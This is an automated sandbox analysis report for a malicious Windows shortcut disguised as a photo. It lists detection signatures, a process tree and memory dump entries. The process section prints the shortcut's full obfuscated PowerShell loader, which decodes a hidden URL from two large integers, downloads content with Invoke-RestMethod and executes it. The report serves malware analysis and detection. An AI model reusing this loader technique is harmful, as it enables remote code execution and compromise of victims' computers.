Analysis

  • max time kernel
    298s
  • max time network
    297s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 01:34

General

  • Target
    photo_314571385639.lnk
  • Size 2KB
  • Sample260809-bzcmdafr2v
  • SHA256 5c202cd93731fe1f81e889517f9ef7fdc6a488cfa778fcdd1bcc71be85c32bc4
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photo_314571385639.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3184
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$z2fo2=33+0;$upj7cu8_vn=[bigint]::Parse('603829910154436640451281299847207146736274009768');$s7u9w=[bigint]::Parse('603829910154438957510228401924707481254783868939');$h3v6l=@();$s7u9w-=$upj7cu8_vn;for(;$s7u9w -gt 0;){$h3v6l+=[char][int]([bigint]::Remainder($s7u9w,256));$s7u9w=[bigint]::Divide($s7u9w,256)};.(([type]([string]::Concat('System.Management.Automation.','Script','Block')))::Create((&([string]::Concat('Invoke-','Rest','Method')) (-join$h3v6l))))"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4532

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_toi41qzq.sv1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_toi41qzq.sv1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/4532-2-0x0000026E57EB0000-0x0000026E57EC0000-memory.dmp

        memory/4532-3-0x0000026E57EB0000-0x0000026E57EC0000-memory.dmp

        memory/4532-9-0x0000026E59F30000-0x0000026E59F52000-memory.dmp

        memory/4532-12-0x0000026E57EB0000-0x0000026E57EC0000-memory.dmp

        memory/4532-13-0x0000026E5A5E0000-0x0000026E5A7A2000-memory.dmp

        memory/4532-14-0x0000026E5A440000-0x0000026E5A46A000-memory.dmp

        memory/4532-15-0x0000026E5A440000-0x0000026E5A464000-memory.dmp

        memory/4532-16-0x0000026E57EB0000-0x0000026E57EC0000-memory.dmp

        memory/4532-17-0x0000026E5ACE0000-0x0000026E5B208000-memory.dmp